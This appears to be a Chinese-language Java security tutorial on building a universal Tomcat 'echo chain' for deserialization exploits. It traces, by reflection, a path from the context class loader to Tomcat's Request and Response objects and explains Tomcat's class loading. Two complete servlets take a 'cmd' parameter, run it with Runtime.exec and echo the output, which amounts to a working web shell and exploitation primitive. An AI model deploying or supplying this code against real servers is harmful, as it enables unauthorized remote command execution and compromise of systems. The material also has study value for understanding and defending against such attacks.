Java安全-基于Tomcat通用回显链 通过找Tomcat中全局存储的request或response 对象,进而挖掘出一种在Tomcat下可以通杀的回显链
分析通用回显链
首先为什么我们要找回显链呢?
当反序列化触发时,无法像普通的Filter/Servlet一样,直接获取到Request与Response对象。因此,必须另想办法拿到这些对象,完成命令获取以及回显
编写一段servlet方便我们调试使用
package com.sec.servlet;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedInputStream;import java.io.IOException;import java.io.InputStream;@WebServlet("/HXServlet") public class HXServlet extends HttpServlet { protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); InputStream is = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedInputStream bis = new BufferedInputStream(is); int len; while ((len = bis.read())!=-1 ){ resp.getWriter().write(len); } } @Override protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { this .doGet(req,resp); } }
切记要把tomcat的lib包加入到
尝试调试
我们直接回调到Http11Processor类,这个类是用来对Http协议通信的处理
Http11Processor父类AbstractProcessor的构造函数中,存在request和response对象,并且是final修饰的,那么就不可以被直接修改,且该request和response符合我们的预期,我们可以通过这里的request和response对象构造回显。
在AbstractProcessor中可以通过getRequest获取当前req:
Request对象中存在get方法获取Response对象
调用链思路:
如果想返回内容,则调用链路为Http11Processor . getRequest() -> Request . getResponse() -> Response .do Write()
首先我们要考虑到如何才能获取到Http11Processor对象
通过调用栈可以看到AbstractProtocol类中多出了个processor是一个Http11Processor对象
可以看到这里调用了createProcessor方法
下面有个register的方法
可以看到这里的传入的是RequestGroupInfo对象
global是一个RequestGroupInfo对象
我们继续看下这个addRequestProcessor
我们了解下processors是什么?
processors是一个数组,存储RequestInfo对象
RequestGroupInfo中存储了一个RequestInfo的List在RequestInfo中就包含了Request对象,那么可以通过Request对象来拿到我们最终的Response (Request.getResponse())。
可以看到从中req获取到Request对象
想要获取 global
就需要获取到 AbstractProtocol
,
调用流程如下:
AbstractProtocol $ConnectoinHandler------->global --------> RequestInfo -------> Request --------> Response
再往后看调用栈,现在要寻找有没有地方有存储AbstractProtocol(继承AbstractProtocol的类 )
我们发现CoyoteAdapter的connector这个Field有很多关于Request的操作
这个类中就有与AbstractProtocol有关的字段:protocolHandler ,这个field的类型为ProtocolHandler,可以看一下继承了ProtocolHandler的类,其中与HTTP11有关的也都继承了AbstractProtocol
处理请求的部分我们就寻找完了。
Connector -----> AbstractProtocol $ConnectoinHandler------->global --------> RequestInfo -------> Request --------> Response
Tomcat启动过程中有这样的方法,可以看到会将Connector放入Service中
这里的service为StandardService,所以串起来就是:
StandardService ---> Connector ---> AbstractProtocol $ConnectoinHandler---> RequestGroupInfo (global)---> RequestInfo -------> Request --------> Response
Tomcat的类加载机制并不是传统的双亲委派机制,因为传统的双亲委派机制并不适用于多个Web App的情况。
前面3个类加载和默认的一致,CommonClassLoader、CatalinaClassLoader、SharedClassLoader和WebappClassLoader则是Tomcat自己定义的类加载器,它们分别加载/common/*
、/server/*
、/shared/*
(在tomcat 6之后已经合并到根目录下的lib目录下)和/WebApp/WEB-INF/*
中的Java类库。其中WebApp类加载器和Jsp类加载器通常会存在多个实例,每一个Web应用程序 对应一个WebApp类加载器,每一个JSP文件对应一个Jsp类加载器
为什么要打破双亲委派机制?
如果没有使用双亲委派模型,由各个类加载器自行加载的话,如果用户自己编写了一个称为java.lang.Object的类,并放在程序的ClassPath中,那系统将会出现多个不同的Object类 , Java类型体系中最基础的行为就无法保证。应用程序也将会变得一片混乱
为什么要用到上下文加载器 ?
Java 提供了很多服务提供者接口(Service Provider Interface,SPI),允许第三方为这些接口提供实现。常见的 SPI 有 JDBC、JCE、JNDI、JAXP 和 JBI 等。
这些 SPI 的接口由 Java 核心库来提供,而这些 SPI 的实现代码则是作为 Java 应用所依赖的 jar 包被包含进类路径(CLASSPATH)里。SPI接口中的代码经常需要加载具体的实现类 。那么问题来了,SPI的接口 是Java核心库的一部分,是由启动类加载器 来加载的;SPI的实现类 是由系统类加载器 来加载的。启动类加载器是无法找到 SPI 的实现类的,因为依照双亲委派模型,BootstrapClassloader无法委派AppClassLoader来加载类,这也就是解决上层的ClassLoader需要调用下层的ClassLoader。
下面以JDBC的这种SPI场景用图来更具体的描述一下:
很明显JDBC会去引用JDBCImpl的具体厂商的实现,而JDBC标准是由启动加载器所加载,那对于具体实现厂商的类也会用系统类加载器去加载,而由于它们是处于工程中的classPath当中,由系统类加载器去加载,很显然是没办法由根类加载器去加载的,为了解决这个问题,线程的上下文类加载器就发挥作用了。
如何使用应用程序加载器来加载呢?
就需要使用线程上下文类加载器。Thread类中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器,如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)
这里我们重点的是WebappClassLoader类
其实WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一
看看Thread.currentThread.getContextClassLoader()里面都有啥东西,这里只要稍微搜寻一下就会发现有很多Tomcat有关的运行信息。我们只要寻找我们上文提到的需要的Service就可以了
通过ApplicationContext(getResources().getContext()) —> StandardService
最后路径:
WebappClassLoaderBase ---> ApplicationContext (getResources().getContext()) ---> StandardService ---> Connector ---> AbstractProtocol $ConnectoinHandler---> RequestGroupInfo (global)---> RequestInfo -------> Request --------> Response
编写tomcat回显链 package com.naihe;import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.coyote.Request;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedInputStream;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.List;@WebServlet("/demo") public class test extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); try { Field context = Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" ); context.setAccessible(true ); ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext); Field service = Class.forName("org.apache.catalina.core.ApplicationContext" ).getDeclaredField("service" ); service.setAccessible(true ); org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext); Field connectors = standardService.getClass().getDeclaredField("connectors" ); connectors.setAccessible(true ); Connector[] connector = (Connector[]) connectors.get(standardService); Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector" ).getDeclaredField("protocolHandler" ); protocolHandler.setAccessible(true ); Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol" ).getDeclaredClasses(); for (Class<?> declaredClass : declaredClasses) { if (declaredClass.getName().length()==52 ){ java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler" ,null ); getHandler.setAccessible(true ); Field global = declaredClass.getDeclaredField("global" ); global.setAccessible(true ); org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0 ].getProtocolHandler(), null )); Field processors = Class.forName("org.apache.coyote.RequestGroupInfo" ).getDeclaredField("processors" ); processors.setAccessible(true ); java.util.List<org.apache.coyote.RequestInfo> requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo); Field req1 = Class.forName("org.apache.coyote.RequestInfo" ).getDeclaredField("req" ); req1.setAccessible(true ); for (RequestInfo info : requestInfo) { org.apache.coyote.Request request = (Request) req1.get(info); org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1 ); org.apache.catalina.connector.Response response = request1.getResponse(); String cmd = request1.getParameter("cmd" ); InputStream is = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedInputStream bis = new BufferedInputStream(is); int len; while ((len = bis.read())!=-1 ){ response.getWriter().write(len); } } } } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException | ClassNotFoundException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } } @Override protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { this .doGet(req, resp); } }